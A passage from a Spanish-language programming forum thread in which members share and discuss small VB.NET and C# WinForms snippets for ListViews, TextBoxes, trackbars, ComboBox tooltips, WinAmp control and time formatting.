Private Sub TextBox1_Clicked(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles TextBox1.MouseClick, TextBox1.MouseDoubleClick
Me.ClickTimer_Click(sender.name, e.Button, e.Location)
If ClickCount = 3 Then ' Triple Click to select all text.
sender.SelectAll()
End If
End Sub
End Class
Saludos.
Función para comprobar si un ListView contiene cierto texto:
PD: La verdad es que no es muy útil a menos que le añada más opciones, la hice porque muchas veces se me olvida el nombre del método "FindItemWithText" y eso me hace perder tiempo :silbar:
#Region " Find ListView Text "
' [ Find ListView Text Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Find_ListView_Text(ListView1, "Hello"))
' If Find_ListView_Text(ListView1, "Hello") Then...
Private Function Find_ListView_Text(ByVal ListView As ListView, ByVal Text As String) As Boolean
Try : Return Convert.ToBoolean(ListView.FindItemWithText(Text)) : Catch : Return True : End Try
End Function
#End Region
Ejemplo de uso:
Private Sub Status_Timer_Tick(sender As Object, e As EventArgs) Handles Status_Timer.Tick
If Find_ListView_Text(ListView1, TextBox_Filename.Text) Then
Label_Status.Text = "Current song found"
Else
Label_Status.Text = "Current song not found"
End If
End Sub
[Textbox] Show end part of text
Este snippet no se muy bien como explicarlo en pocas palabras, así que lo voy a explicar con imágenes...
Cuando excedemos el límite visible del textbox, la parte del final, es decir la parte derecha no se muestra:
(http://img839.imageshack.us/img839/4504/fi7d.jpg)
Pues con este snippet omitiremos la parte de la izquierda, mostrando hasta la parte final del texto:
(http://img198.imageshack.us/img198/5504/qhaw.jpg)
Private Sub TextBox_TextChanged(sender As Object, e As EventArgs) _
Handles TextBox1.TextChanged
' If the text reaches the writable box size then this shows the end part of the text.
sender.Select(sender.TextLength, sender.TextLength)
End Sub
Saludos!
A ti te dejan doble postear? >:(
Muy buenos snippets :)
¿En la del listview no se puede hacer listview.items.indexof("txt")? ¿o utiliza algún tipo de encapsulación distinta al string cada item?
Cita de: Ikillnukes en 28 Junio 2013, 16:48 PMA ti te dejan doble postear? >:(
No lo considero doble-postear, posteo cuando tengo un nuevo snippet o una cantidad de snippets, a veces me los creo/consigo de 1 en 1 o de 5 en 5, nunca se sabe...
PD: A mi no me trollees xD
Cita de: ABDERRAMAH en 28 Junio 2013, 16:52 PM
¿En la del listview no se puede hacer listview.items.indexof("txt")? ¿o utiliza algún tipo de encapsulación distinta al string cada item?
El ...IndexOf("text") rquiere pasarle un "ListiewItem", no he podido pasarle un string para probar.
PD: A ver si consigues mejorarlo tu :P
un saludo!
Un ListView extendido para monitorizar cuando se añade y cuando se elimina un Item.
MUY IMPORTANTE: Hay que utilizar los nuevos métodos (AddItem, RemoveItem) en lugar de usar el antiguo ...items.Add o ...items.Remove, para que funcione.
PD: Si alguien sabe como overridearlos de forma correcta que lo diga :P
' /* *\
' |#* ListView Elektro *#|
' \* */
'
' // By Elektro H@cker
'
' Properties:
' ...........
' · Disable_Flickering
' · Double_Buffer
'
' Events:
' .......
' · ItemAdded
' · ItemRemoved
'
' Methods:
' .......
' · AddItem
' · RemoveItem
Public Class ListView_Elektro : Inherits ListView
Public Event ItemAdded()
Public Event ItemRemoved()
Private _Disable_Flickering As Boolean = True
Public Sub New()
Me.Name = "ListView_Elektro"
Me.DoubleBuffered = True
' Me.GridLines = True
' Me.MultiSelect = True
' Me.FullRowSelect = True
' Me.View = View.Details
End Sub
#Region " Properties "
''' <summary>
''' Enable/Disable any flickering effect on the ListView.
''' </summary>
Protected Overrides ReadOnly Property CreateParams() As CreateParams
Get
If _Disable_Flickering Then
Dim cp As CreateParams = MyBase.CreateParams
cp.ExStyle = cp.ExStyle Or &H2000000
Return cp
Else
Return MyBase.CreateParams
End If
End Get
End Property
''' <summary>
''' Set the Double Buffer.
''' </summary>
Public Property Double_Buffer() As Boolean
Get
Return Me.DoubleBuffered
End Get
Set(ByVal Value As Boolean)
Me.DoubleBuffered = Value
End Set
End Property
''' <summary>
''' Enable/Disable the flickering effects on this ListView.
'''
''' This property turns off any Flicker effect on the ListView
''' ...but also reduces the performance (speed) of the ListView about 30% slower.
''' This don't affect to the performance of the application itself, only to the performance of this control.
''' </summary>
Public Property Disable_Flickering() As Boolean
Get
Return _Disable_Flickering
End Get
Set(ByVal Value As Boolean)
Me._Disable_Flickering = Value
End Set
End Property
#End Region
#Region " Methods "
''' <summary>
''' Add an item to the ListView.
''' </summary>
Public Function AddItem(ByVal Text As String) As ListViewItem
RaiseEvent ItemAdded()
Return MyBase.Items.Add(Text)
End Function
''' <summary>
''' Remove an item from the ListView.
''' </summary>
Public Sub RemoveItem(ByVal Item As ListViewItem)
RaiseEvent ItemRemoved()
MyBase.Items.Remove(Item)
End Sub
#End Region
End Class
Ejemplo de uso:
#Region " [ListView Elektro] Monitor Item added-removed "
' [ListView Elektro] Monitor Item added-removed
'
' // By Elektro H@cker
Private Sub Main_Load(sender As Object, e As EventArgs) Handles MyBase.Shown
Dim Item As ListViewItem = ListView1.AddItem("Test") ' Add the item
ListView1.RemoveItem(Item) ' Remove the item
End Sub
Private Sub ListView_ItemChanged() Handles ListView1.ItemAdded, ListView1.ItemRemoved
' I check if exists at least 1 item inside the ListView
If ListView1.Items.Count <> 1 Then MsgBox("Listview have items.") Else MsgBox("Listview is empty.")
End Sub
#End Region
En una aplicación tengo un textbox donde escribo "X" texto y después añado ese texto a un control, pues bien, después de añadir el texto al control, necesito refrescar el texto del Textbox para que se "raisee" el evento OnTextChanged del textbox, pero esto es imposible hacerlo usando Refresh o Invalidate porque lo que actualizan es el drawing del control, no el texto, la única manera es modificando el texto...
...Así que hice este pequeñísimo procedimiento genérico:
' Refresh Textbox Text
Private Sub Refresh_Textbox_Text(ByVal TextBox As TextBox)
Dim TempText As String = TextBox.Text
TextBox.Clear()
TextBox.Text = TempText
End Sub
Es muy sencilla, pero a alguien le servirá.
' Aquí otra forma:
Private Sub textBox1_Invalidated(sender As Object, e As System.Windows.Forms.InvalidateEventArgs) Handles textBox1.Invalidated
textBox1_TextChanged(sender, New EventArgs())
End Sub
Saludos.
Pregunta puedo hacer un Snippet en varios lenguajes (php, html, mysql y batch) ? :silbar:
Como si puedes hacerlos en varios lenguajes?
Ya he dicho los lenguajes aunque lo que voy a postear iría más bien en Scripting.. :silbar:
Cita de: Ikillnukes en 29 Junio 2013, 23:03 PMlo que voy a postear iría más bien en Scripting.. :silbar:
Estamos en .NET, no en scripting ...¿No?.
No es mi trabajo decirte esto pero podrías mandar un privado a uno de los moderadores de esta sección para que te resuelva ese tipo de preguntas, en lugar de volver a spamear este post con preguntas que tienen respuestas obvias... poder puedes postearlo si compensas posteando la parte de .NET, creo que NovLucker pensará igual, somos comprensivos (nos da un poco igual que lo hagas xD), ahora, muy correcto no es hacer eso ...tu mismo.
Saludos...
Si la verdad es que a veces digo cosas que me las podría callar, lo siento. ;)
Creo que me ausente algo, sera porque mi maldito proveedor de internet es una ***** que hasta las imagenes de tumblr e imageshack me las bloquea -.-"
Pero claro el foro tambien.
Cita de: Ikillnukes en 22 Junio 2013, 20:29 PM
Syntax le haría falta uno de SoundCloud, porque no le damos una sorpresa entre los dos? :silbar:
No sera necesario, con la ayuda de electro me fue mas que suficiente :)
pero igual puedes sorprenderme, aunque igual me sorprenderia mas lo que electro que mostrara. no es por nada pero el sabe mas
Cita de: EleKtro H@cker en 22 Junio 2013, 20:39 PM
Se le dieron las herramientas necesarias, es fácil usar RegEx, solo tiene que mostrar sus progresos intentando hacer el code y...
Saludos
Si, me distes las herramientas pero no solo era la GUI que hice tambien su codigo :)
Un AppActivate más sencillo de usar que el default, se puede usar especificando el nombre del proceso.
PD: Sirve para activar (darle Focus) a un proceso externo.
#Region " App Activate "
' [ App Activate ]
'
' // By Elektro H@cker
'
' Examples :
'
' App_Activate("cmd")
' App_Activate("cmd.exe")
' If App_Activate("cmd") Then...
Private Function App_Activate(ByVal ProcessName As String) As Boolean
If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
Dim ProcessArray = Process.GetProcessesByName(ProcessName)
If ProcessArray.Length = 0 Then
Return False
Else
AppActivate(ProcessArray(0).Id)
Return True
End If
End Function
#End Region
Una Class para controlar WinAmp: http://pastebin.com/4yC91AnD
También está disponible compilada en un dll: http://sourceforge.net/projects/wacc/
PD: Funciona en las versiones 5.X
Ejemplos de uso (Aparte de los oficiales):
#Region " Examples "
' // By Elektro H@cker
'
' INSTRUCTIONS:
'
' 1. Add a reference for "WACC.DLL"
Public Class Form1
Dim Winamp As WACC.clsWACC = New WACC.clsWACC
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
' // Bind the WinAmp process to the variable object
Winamp.Bind()
' // Get WinAmp process PID
' Winamp.ProcessID()
' // Close WinAmp
' Winamp.CloseWinamp()
' // Restart WinAmp
' Winamp.RestartWinamp()
' // Open new instance of WinAmp
' Winamp.OpenNewInstance()
' // Play playback
' Winamp.Playback.Play()
' // Pause playback
' Winamp.Playback.PauseUnpause()
' // Stop playback
' Winamp.Playback.Stop()
' // Junp to previous track
' Winamp.Playlist.JumpToPreviousTrack()
' // Junp to next track
' Winamp.Playlist.JumpToNextTrack()
' // Rewind 5 seconds of the current song
' Winamp.Playback.Rewind5s()
' // Forward 5 seconds of the current song
' Winamp.Playback.Forward5s()
' // Get Track Length
' Winamp.Playback.GetTrackLength * 1000 '(ms)
' // Set Track Position
' Winamp.Playback.TrackPosition = 60000 ' (ms)
' // Get WinAmp state
' MsgBox(Winamp.Playback.PlaybackState().ToString)
' If Winamp.Playback.PlaybackState = clsWACC.cPlayback.Playback_State.Playing Then : End If
' // Set volume
' Winamp.AudioControls.Volume = Math.Round(50 / (100 / 255))
' // Volume up
' Winamp.AudioControls.VolumeUp()
' // Volume down
' Winamp.AudioControls.VolumeDown()
' // Get current track BitRate
' MsgBox(Winamp.Playback.Bitrate.ToString & " kbps")
' // Get current track SampleRate
' MsgBox(Winamp.Playback.SampleRate.ToString & " kHz")
' // Get current track channels
' MsgBox(Winamp.Playback.Channels.ToString & " channels")
' // Clear playlist
' Winamp.Playlist.Clear()
' // Remove missing files in playlist
' Winamp.Playlist.RemoveMissingFiles()
' // Enable/Disable Shuffle
' Winamp.Playback.ShuffleEnabled = True
' // Enable/Disable Repeat
' Winamp.Playback.RepeatEnabled = True
' // Set WinAmp OnTop
' Winamp.Options.AlwaysOnTop = True
End Sub
End Class
#End Region
He extendido y mejorado la función para buscar texto en la colección de Items de un listview:
PD: la versión antigua la pueden encontrar aquí: http://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1865639#msg1865639
#Region " [ListView] Find ListView Text "
' [ListView] Find ListView Text Function
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Find_ListView_Text(ListView1, "Test"))
' MsgBox(Find_ListView_Text(ListView1, "Test", 2, True, True))
' If Find_ListView_Text(ListView1, "Test") Then...
Private Function Find_ListView_Text(ByVal ListView As ListView, _
ByVal SearchString As String, _
Optional ByVal ColumnIndex As Int32 = Nothing, _
Optional ByVal MatchFullText As Boolean = True, _
Optional ByVal IgnoreCase As Boolean = True) As Boolean
Dim ListViewColumnIndex As Int32 = ListView.Columns.Count - 1
Select Case ColumnIndex
Case Is < 0, Is > ListViewColumnIndex ' ColumnIndex is out of range
Throw New Exception("ColumnIndex is out of range. " & vbNewLine & _
"ColumnIndex Argument: " & ColumnIndex & vbNewLine & _
"ColumnIndex ListView: " & ListViewColumnIndex)
Case Nothing ' ColumnIndex is nothing
If MatchFullText AndAlso IgnoreCase Then ' Match full text, All columns, IgnoreCase
For Each Item As ListViewItem In ListView.Items
For X As Int32 = 0 To ListViewColumnIndex
If Item.SubItems(X).Text.ToLower = SearchString.ToLower Then Return True
Next
Next
ElseIf MatchFullText AndAlso Not IgnoreCase Then ' Match full text, All columns, CaseSensitive
For Each Item As ListViewItem In ListView.Items
For X As Int32 = 0 To ListViewColumnIndex
If Item.SubItems(X).Text = SearchString Then Return True
Next
Next
ElseIf Not MatchFullText AndAlso IgnoreCase Then ' Match part of text, All columns, IgnoreCase
If ListView1.FindItemWithText(SearchString) IsNot Nothing Then _
Return True _
Else Return False
ElseIf Not MatchFullText AndAlso Not IgnoreCase Then ' Match part of text, All columns, CaseSensitive
For Each Item As ListViewItem In ListView.Items
For X As Int32 = 0 To ListViewColumnIndex
If Item.SubItems(X).Text.Contains(SearchString) Then Return True
Next
Next
End If
Case Else ' ColumnIndex is other else
If MatchFullText AndAlso IgnoreCase Then ' Match full text, ColumnIndex, IgnoreCase
For Each Item As ListViewItem In ListView.Items
If Item.SubItems(ColumnIndex).Text.ToLower = SearchString.ToLower Then Return True
Next
ElseIf MatchFullText AndAlso Not IgnoreCase Then ' Match full text, ColumnIndex, CaseSensitive
For Each Item As ListViewItem In ListView.Items
If Item.SubItems(ColumnIndex).Text = SearchString Then Return True
Next
ElseIf Not MatchFullText AndAlso IgnoreCase Then ' Match part of text, ColumnIndex, IgnoreCase
For Each Item As ListViewItem In ListView.Items
If Item.SubItems(ColumnIndex).Text.ToLower.Contains(SearchString.ToLower) Then Return True
Next
ElseIf Not MatchFullText AndAlso Not IgnoreCase Then ' Match part of text, ColumnIndex, CaseSensitive
For Each Item As ListViewItem In ListView.Items
If Item.SubItems(ColumnIndex).Text.Contains(SearchString) Then Return True
Next
End If
End Select
Return False
End Function
#End Region
EDITO:
Vuelto a mejorar:
(El anterior no medía la cantidad de subitems de cada item, por ejemplo en un listview con 3 columnas, un item con dos subitems y otro item con 3 subitems entonces daba error porque el primer item no tenia un tercer subitem)
#Region " [ListView] Find ListView Text "
' [ListView] Find ListView Text Function
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Find_ListView_Text(ListView1, "Test"))
' MsgBox(Find_ListView_Text(ListView1, "Test", 2, True, True))
' If Find_ListView_Text(ListView1, "Test") Then...
Private Function Find_ListView_Text(ByVal ListView As ListView, _
ByVal SearchString As String, _
Optional ByVal ColumnIndex As Int32 = Nothing, _
Optional ByVal MatchFullText As Boolean = True, _
Optional ByVal IgnoreCase As Boolean = True) As Boolean
Select Case ColumnIndex
Case Is < 0, Is > ListView.Columns.Count - 1 ' ColumnIndex is out of range
Throw New Exception("ColumnIndex is out of range. " & vbNewLine & _
"ColumnIndex Argument: " & ColumnIndex & vbNewLine & _
"ColumnIndex ListView: " & ListView.Columns.Count - 1)
Case Nothing ' ColumnIndex is nothing
If MatchFullText Then ' Match full text in all columns
For Each Item As ListViewItem In ListView.Items
For X As Int32 = 0 To Item.SubItems.Count - 1
If String.Compare(Item.SubItems(X).Text, SearchString, IgnoreCase) = 0 Then
Return True
End If
Next
Next
ElseIf Not MatchFullText Then ' Match part of text in all columns
Select Case IgnoreCase
Case True ' IgnoreCase
If ListView1.FindItemWithText(SearchString) IsNot Nothing Then
Return True
End If
Case False ' CaseSensitive
For Each Item As ListViewItem In ListView.Items
For X As Int32 = 0 To Item.SubItems.Count - 1
If Item.SubItems(X).Text.Contains(SearchString) Then Return True
Next
Next
End Select
End If
Case Else ' ColumnIndex is other else
If MatchFullText Then ' Match full text in ColumnIndex
For Each Item As ListViewItem In ListView.Items
If String.Compare(Item.SubItems(ColumnIndex).Text, SearchString, IgnoreCase) = 0 Then
Return True
End If
Next
ElseIf Not MatchFullText Then ' Match part of text in ColumnIndex
For Each Item As ListViewItem In ListView.Items
Select Case IgnoreCase
Case True ' IgnoreCase
If Item.SubItems(ColumnIndex).Text.ToLower.Contains(SearchString.ToLower) Then
Return True
End If
Case False ' CaseSensitive
If Item.SubItems(ColumnIndex).Text.Contains(SearchString) Then
Return True
End If
End Select
Next
End If
End Select
Return False ' Any matches
End Function
#End Region
Ya he actualizado el Updater :)
http://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1864041#msg1864041
Ahora si va. ;D
Cita de: Ikillnukes en 3 Julio 2013, 10:42 AMAhora si va. ;D
No quiero desvirtuar mucho el tema, pero por curiosidad cual era el fallo?
Cita de: EleKtro H@cker en 3 Julio 2013, 14:31 PM
No quiero desvirtuar mucho el tema, pero por curiosidad cual era el fallo?
Que el archivo no se descargaba, no lo hablamos ayer? xD
Cita de: Ikillnukes en 3 Julio 2013, 14:51 PM
Que el archivo no se descargaba, no lo hablamos ayer? xD
claro, quiero decir que ¿Como lo arreglaste? que correcciones habia que hacerle? xD
Pues llevababas tu razón con los Ifs... A parte:
If File.Exists(patha) Then
File.Delete(patha)
End If
Esto si lo pongo al final, lo va a borrar y no va a leer nada. Si lo ponemos al principio, lo borra y lo vuelve a descargar. :P
Format Time
Formatea un número de milisegundos.
#Region " Format Time "
' [ Format Time Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Format_Time(61500, TimeFormat.M_S_MS)) ' Result: "01:01:500"
' MsgBox(Format_Time(65000, TimeFormat.M_S)) ' Result: "01:05"
' TimeFormat [ENUM]
Public Enum TimeFormat
D_H_M_S_MS
D_H_M_S
D_H_M
D_H
D
H_M_S_MS
H_M_S
H_M
H
M_S_MS
M_S
M
S_MS
S
End Enum
' Format Time [FUNC]
Private Function Format_Time(ByVal MilliSeconds As Int64, ByVal TimeFormat As TimeFormat) As String
Dim Time As New TimeSpan(TimeSpan.TicksPerMillisecond * MilliSeconds)
Select Case TimeFormat
Case TimeFormat.D_H_M_S_MS
Return Time.ToString("dd\:hh\:mm\:ss\:fff")
Case TimeFormat.D_H_M_S
Return Time.ToString("dd\:hh\:mm\:ss")
Case TimeFormat.D_H_M
Return Time.ToString("dd\:hh\:mm")
Case TimeFormat.D_H
Return Time.ToString("dd\:hh")
Case TimeFormat.D
Return Time.ToString("dd")
Case TimeFormat.H_M_S_MS
Return Time.ToString("hh\:mm\:ss\:fff")
Case TimeFormat.H_M_S
Return Time.ToString("hh\:mm\:ss")
Case TimeFormat.H_M
Return Time.ToString("hh\:mm")
Case TimeFormat.H
Return Time.ToString("hh")
Case TimeFormat.M_S_MS
Return Time.ToString("mm\:ss\:fff")
Case TimeFormat.M_S
Return Time.ToString("mm\:ss")
Case TimeFormat.M
Return Time.ToString("mm")
Case TimeFormat.S_MS
Return Time.ToString("ss\:fff")
Case TimeFormat.S
Return Time.ToString("ss")
Case Else
Return Nothing
End Select
End Function
#End Region
Cuando creo un listview suelo añadir un índice numérico en la primera columna, para mantener un orden, bueno pues este snippet sirve para reindexar esa columna por ejemplo cuando eliminamos un item del listview.
(http://img42.imageshack.us/img42/3240/kpkp.png)
#Region " ReIndex ListView "
' [ ReIndex ListView ]
'
' // By Elektro H@cker
'
' Examples :
' ReIndex_ListView(ListView1)
' ReIndex ListView [SUB]
Private Sub ReIndex_ListView(ByVal ListView As ListView, Optional ByVal Column As Int32 = 0)
Dim Index As Int32 = 0
For Each Item As ListViewItem In ListView.Items
Index += 1
Item.SubItems(Column).Text = Index
Next
End Sub
#End Region
Actualizada la colección de snippets con un total de 400 Snippets...
...Casi nada!!
-> http://elektrostudios.tk/Snippets.zip (http://elektrostudios.tk/Snippets.zip)
En la primera página de este hilo tienen un índice de todos los snippets que contiene el pack.
Saludos!
Devolvuelve la Key equivalente de un Value de un dictionary:
Public Function FindKeyByValue(Of TKey, TValue)(dictionary As Dictionary(Of TKey, TValue), value As TValue) As TKey
For Each pair As KeyValuePair(Of TKey, TValue) In dictionary
If value.Equals(pair.Value) Then Return pair.Key
Next
' Throw New Exception("The value is not found in the dictionary.")
Return Nothing
End Function
Algo como esto en C#, aunque como digo, me resulta tan corto que no me gusta ponerlo en funciones/métodos :xD
public K FindKeyByValue<K, V>(Dictionary<K, V> dictionary, V value)
{
return dictionary.FirstOrDefault(k => k.Value.Equals(value)).Key;
}
Saludos
Perdón por desvirtuar,
http://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1857514#msg1857514
Siempre me salta la Excepción de Could not set keyboard hook
Que puedo hacer? :S
Cita de: Novlucker en 4 Julio 2013, 16:39 PMAlgo como esto en C#
Muy bueno
Nov!, gracias, la verdad es que necesitaba simplificar esa función y eres el único de todo stackoverflow que ha llegado a conseguirlo xD.
Lo mismo pero en VB:
Public Function Find_Dictionary_Key_By_Value(Of K, V)(Dictionary As Dictionary(Of K, V), Value As V) As K
Dim Key = Dictionary.FirstOrDefault(Function(x) x.Value.Equals(Value)).Key
If Key Is Nothing Then
Throw New Exception("The value is not found in the dictionary.")
End If
Return Key
End Function
Cita de: Ikillnukes en 4 Julio 2013, 23:10 PM
http://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1857514#msg1857514
Siempre me salta la Excepción de Could not set keyboard hook
Que puedo hacer? :S
Se me olvidó mencionar este detalle:
CitarProject -> Properties -> Debug -> Uncheck "Enable the Visual Studio hosting process"
Saludos!
Modifica el color de un Bitmap
#Region " Fill Bitmap Color "
' [ Fill Bitmap Color Function ]
'
' Examples :
'
' IMPORTANT: use ARGB colors as the parameter.
' PictureBox1.BackgroundImage = Fill_Bitmap_Color(bmp, Color.FromArgb(255, 255, 255, 255), Color.Red)
Private Function Fill_Bitmap_Color(ByVal Image As Bitmap, ByVal FromColor As Color, ByVal ToColor As Color)
Dim bmp As New Bitmap(Image)
Dim x As Integer = 0, y As Integer = 0
While x < bmp.Width
y = 0
While y < bmp.Height
If Image.GetPixel(x, y) = FromColor Then bmp.SetPixel(x, y, ToColor)
Math.Max(Threading.Interlocked.Increment(y), y - 1)
End While
Math.Max(Threading.Interlocked.Increment(x), x - 1)
End While
Return bmp
End Function
#End Region
Mueve el slider de un "GTrackBar" de forma progresiva al mantener presionada una tecla de dirección.
Se necesita el control extendido GTrackBar: http://www.codeproject.com/Articles/35104/gTrackBar-A-Custom-TrackBar-UserControl-VB-NET
' By Elektro H@cker
#Region " [GTrackBar] Progressive Scroll "
Dim TrackBar_SmallChange As Int32 = 5
Dim TrackBar_LargeChange As Int32 = 10
' GTrackBar [KeyDown]
Private Sub GTrackBar_KeyDown(sender As Object, e As KeyEventArgs) Handles GTrackBar1.KeyDown
sender.ChangeSmall = 0
sender.ChangeLarge = 0
Select Case e.KeyCode
Case Keys.Left, Keys.Right, Keys.Up, Keys.Down
MakeScroll_TrackBar(sender, e.KeyCode)
End Select
End Sub
' GTrackBar [KeyUp]
Private Sub GTrackBar_KeyUp(sender As Object, e As KeyEventArgs) Handles GTrackBar1.KeyUp
' Set the values on KeyUp event because the Trackbar Scroll event.
sender.ChangeSmall = TrackBar_SmallChange
sender.ChangeLarge = TrackBar_LargeChange
End Sub
' MakeScroll TrackBar
Private Sub MakeScroll_TrackBar(ByVal GTrackBar As gTrackBar.gTrackBar, key As Keys)
Select Case key
Case Keys.Left
GTrackBar.Value -= TrackBar_SmallChange
Case Keys.Right
GTrackBar.Value += TrackBar_SmallChange
Case Keys.Up
GTrackBar.Value += TrackBar_LargeChange
Case Keys.Down
GTrackBar.Value -= TrackBar_LargeChange
End Select
End Sub
#End Region
...Lo mismo pero si tenemos múltiples GTrackbars:
' By Elektro H@cker
#Region " [GTrackBar] Progressive Scroll MultiTrackbars "
Dim TrackBar1_SmallChange As Int32 = 2
Dim TrackBar1_LargeChange As Int32 = 5
Dim TrackBar2_SmallChange As Int32 = 5
Dim TrackBar2_LargeChange As Int32 = 10
' GTrackBar [KeyDown]
Private Sub GTrackBars_KeyDown(sender As Object, e As KeyEventArgs) Handles GTrackBar1.KeyDown, GTrackBar2.KeyDown
sender.ChangeSmall = 0
sender.ChangeLarge = 0
Select Case e.KeyCode
Case Keys.Left, Keys.Right, Keys.Up, Keys.Down
MakeScroll_TrackBar(sender, e.KeyCode)
End Select
End Sub
' GTrackBar [KeyUp]
Private Sub GTrackBars_KeyUp(sender As Object, e As KeyEventArgs) Handles GTrackBar1.KeyUp, GTrackBar2.KeyUp
' Set the values on KeyUp event because the Trackbar Scroll event.
Select Case sender.Name
Case "GTrackBar1"
sender.ChangeSmall = TrackBar1_SmallChange
sender.ChangeLarge = TrackBar1_LargeChange
Case "GTrackBar_2"
sender.ChangeSmall = TrackBar2_SmallChange
sender.ChangeLarge = TrackBar2_LargeChange
End Select
End Sub
' MakeScroll TrackBar
Private Sub MakeScroll_TrackBar(ByVal GTrackBar As gTrackBar.gTrackBar, key As Keys)
Dim SmallChange As Int32 = 0, Largechange As Int32 = 0
Select Case GTrackBar.Name
Case "GTrackBar1"
SmallChange = TrackBar1_SmallChange
Largechange = TrackBar1_LargeChange
Case "GTrackBar2"
SmallChange = TrackBar2_SmallChange
Largechange = TrackBar2_LargeChange
End Select
Select Case key
Case Keys.Left
GTrackBar.Value -= SmallChange
Case Keys.Right
GTrackBar.Value += SmallChange
Case Keys.Up
GTrackBar.Value += Largechange
Case Keys.Down
GTrackBar.Value -= Largechange
End Select
End Sub
#End Region
[ComboBoxTooltip] Show tooltip when text exceeds ComboBox width
(Muestra un tooltip cuando el tamaño del Item supera el tamaño del ComboBox.)
(http://img23.imageshack.us/img23/2609/oujn.jpg)
Dim LastSelectedItem As Int32 = -1
Private Sub ComboBoxTooltip_DropdownItemSelected(sender As Object, e As ComboBoxTooltip.DropdownItemSelectedEventArgs) _
Handles ComboBoxTooltip1.DropdownItemSelected
Dim SelectedItem As Int32 = e.SelectedItem
If SelectedItem <> LastSelectedItem Then
ToolTip1.Hide(sender)
LastSelectedItem = -1
End If
If SelectedItem < 0 OrElse e.Scrolled Then
ToolTip1.Hide(sender)
LastSelectedItem = -1
Else
If sender.Items(e.SelectedItem).Length > CInt(sender.CreateGraphics.MeasureString(0, sender.Font).Width) + 8 Then
LastSelectedItem = SelectedItem
ToolTip1.Show(sender.Items(SelectedItem).ToString(), sender, e.Bounds.Location)
End If
End If
End Sub
Es necesario este usercontrol:
using System;
using System.Drawing;
using System.Windows.Forms;
using System.Runtime.InteropServices;
public class ComboBoxTooltip : ComboBox
{
private DropdownWindow mDropdown;
public delegate void DropdownItemSelectedEventHandler(object sender, DropdownItemSelectedEventArgs e);
public event DropdownItemSelectedEventHandler DropdownItemSelected;
protected override void OnDropDown(EventArgs e)
{
// Install wrapper
base.OnDropDown(e);
// Retrieve handle to dropdown list
COMBOBOXINFO info = new COMBOBOXINFO();
info.cbSize = Marshal.SizeOf(info);
SendMessageCb(this.Handle, 0x164, IntPtr.Zero, out info);
mDropdown = new DropdownWindow(this);
mDropdown.AssignHandle(info.hwndList);
}
protected override void OnDropDownClosed(EventArgs e)
{
// Remove wrapper
mDropdown.ReleaseHandle();
mDropdown = null;
base.OnDropDownClosed(e);
OnSelect(-1, Rectangle.Empty, true);
}
internal void OnSelect(int item, Rectangle pos, bool scroll)
{
if (this.DropdownItemSelected != null)
{
pos = this.RectangleToClient(pos);
DropdownItemSelected(this, new DropdownItemSelectedEventArgs(item, pos, scroll));
}
}
// Event handler arguments
public class DropdownItemSelectedEventArgs : EventArgs
{
private int mItem;
private Rectangle mPos;
private bool mScroll;
public DropdownItemSelectedEventArgs(int item, Rectangle pos, bool scroll) { mItem = item; mPos = pos; mScroll = scroll; }
public int SelectedItem { get { return mItem; } }
public Rectangle Bounds { get { return mPos; } }
public bool Scrolled { get { return mScroll; } }
}
// Wrapper for combobox dropdown list
private class DropdownWindow : NativeWindow
{
private ComboBoxTooltip mParent;
private int mItem;
public DropdownWindow(ComboBoxTooltip parent)
{
mParent = parent;
mItem = -1;
}
protected override void WndProc(ref Message m)
{
// All we're getting here is WM_MOUSEMOVE, ask list for current selection for LB_GETCURSEL
Console.WriteLine(m.ToString());
base.WndProc(ref m);
if (m.Msg == 0x200)
{
int item = (int)SendMessage(this.Handle, 0x188, IntPtr.Zero, IntPtr.Zero);
if (item != mItem)
{
mItem = item;
OnSelect(false);
}
}
if (m.Msg == 0x115)
{
// List scrolled, item position would change
OnSelect(true);
}
}
private void OnSelect(bool scroll)
{
RECT rc = new RECT();
SendMessageRc(this.Handle, 0x198, (IntPtr)mItem, out rc);
MapWindowPoints(this.Handle, IntPtr.Zero, ref rc, 2);
mParent.OnSelect(mItem, Rectangle.FromLTRB(rc.Left, rc.Top, rc.Right, rc.Bottom), scroll);
}
}
// P/Invoke declarations
private struct COMBOBOXINFO
{
public Int32 cbSize;
public RECT rcItem;
public RECT rcButton;
public int buttonState;
public IntPtr hwndCombo;
public IntPtr hwndEdit;
public IntPtr hwndList;
}
[StructLayout(LayoutKind.Sequential)]
private struct RECT
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}
[DllImport("user32.dll", EntryPoint = "SendMessageW", CharSet = CharSet.Unicode)]
private static extern IntPtr SendMessageCb(IntPtr hWnd, int msg, IntPtr wp, out COMBOBOXINFO lp);
[DllImport("user32.dll", EntryPoint = "SendMessageW", CharSet = CharSet.Unicode)]
private static extern IntPtr SendMessageRc(IntPtr hWnd, int msg, IntPtr wp, out RECT lp);
[DllImport("user32.dll")]
private static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wp, IntPtr lp);
[DllImport("user32.dll")]
private static extern int MapWindowPoints(IntPtr hWndFrom, IntPtr hWndTo, [In, Out] ref RECT rc, int points);
}
Añadir difentes estilos a un "Label" (en realidad se usa un RichTextBox >:D)
'Ejemplos:
'RichTextLabel.AddTextWithFont("algo de texto con Arial al 12", New Font("Arial", 12, FontStyle.Bold), RichTextBox1)
'RichTextLabel.AddTextWithColor("ROOOJOOORL xD", Color.Red, RichTextBox1)
'RichTextLabel.AddTextWithColor(vbCrLf & "nueva linea y algo de texto", Color.Black, RichTextBox1)
Public Class RichTextLabel
Public Shared Sub AddTextWithFont(ByVal sText As String, ByVal oFont As Font, ByVal rtb As RichTextBox)
Dim index As Integer
index = rtb.TextLength
rtb.AppendText(sText)
rtb.SelectionStart = index
rtb.SelectionLength = rtb.TextLength - index
rtb.SelectionFont = oFont
